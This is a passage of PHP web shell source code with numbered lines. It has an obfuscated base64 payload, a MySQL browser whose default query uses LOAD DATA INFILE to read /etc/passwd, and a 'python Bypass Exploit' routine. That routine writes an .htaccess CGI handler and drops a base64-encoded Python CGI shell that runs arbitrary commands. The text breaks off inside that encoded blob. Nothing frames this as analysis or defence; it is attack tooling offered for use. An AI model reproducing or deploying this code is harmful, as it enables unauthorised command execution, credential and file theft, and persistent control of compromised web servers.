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'))); ?></textarea>
  756. </td>
  757. </tr>
  758. <tr>
  759. <td>
  760. <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
  761. </td>
  762. </tr>
  763. </table>
  764. </form>
  765. <?php
  766. }
  767. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){$sqlhost = $_GET['sqlhost'];$sqluser = $_GET['sqluser'];$sqlpass = $_GET['sqlpass'];$sqlport = $_GET['sqlport'];if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlhost.":".$sqlport;$msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;'>[ databases ]</a>";
  768. if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";
  769. if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;
  770. if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS 43RUL_table;\nCREATE TABLE `43RUL_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE 43RUL_table;SELECT * FROM 43RUL_table;\nDROP TABLE IF EXISTS 43RUL_table;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$tables = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
  771. while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
  772. foreach($tables as $table){$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";}
  773. elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
  774. $db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
  775. $msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
  776. $columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){
  777. $msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
  778. list($total) = mysql_fetch_row($hasil);
  779. if(isset($_GET['z'])) $page = (int) $_GET['z'];
  780. else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
  781. while($datas = @mysql_fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "")
  782. $data = "&nbsp;";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
  783. for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
  784. if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;}
  785. elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
  786. $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
  787. @mysql_select_db($db);$querys = explode(";",$query);
  788. foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
  789. if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
  790. for($i=0;$i<@mysql_num_fields($hasil);$i++)
  791. $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";
  792. for($i=0;$i<@mysql_num_rows($hasil);$i++)
  793. {$rows=@mysql_fetch_array($hasil);$msg .= "<tr>";
  794. for($j=0;$j<@mysql_num_fields($hasil);$j++) {
  795. if($rows[$j] == "") $dataz = "&nbsp;";
  796. else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";}
  797. else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } }
  798. else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='".$sqlhost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";$hasil = @mysql_list_dbs($con);
  799. while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
  800. $msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";}
  801. @mysql_close($con);} else $msg = "<p style='text-align:center;'>can't connect</p>";echo $msg;} else{?>
  802. <form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" /> <input type="hidden" name="x" value="mysql" /><br><br><br><table class="tabnet" style="width:300px;"> <tr><th colspan="2">MySQL Connect</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form>
  803. <?php }}
  804. elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) { echo "<center/><br/><b>
  805. +--==[ python Bypass Exploit ]==--+
  806. </b><br><br>";
  807. mkdir('python', 0755);
  808. chdir('python');
  809. $kokdosya = ".htaccess";
  810. $dosya_adi = "$kokdosya";
  811. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  812. $metin = "AddHandler cgi-script .izo";
  813. fwrite ( $dosya , $metin ) ;
  814. fclose ($dosya);
  815. $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
  816. IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
  817. b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
  818. cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
  819. ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
  820. Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
  821. Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
  822. YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
  823. ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  824. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
  825. OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
  826. dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
  827. dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
  828. b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  829. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
  830. aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
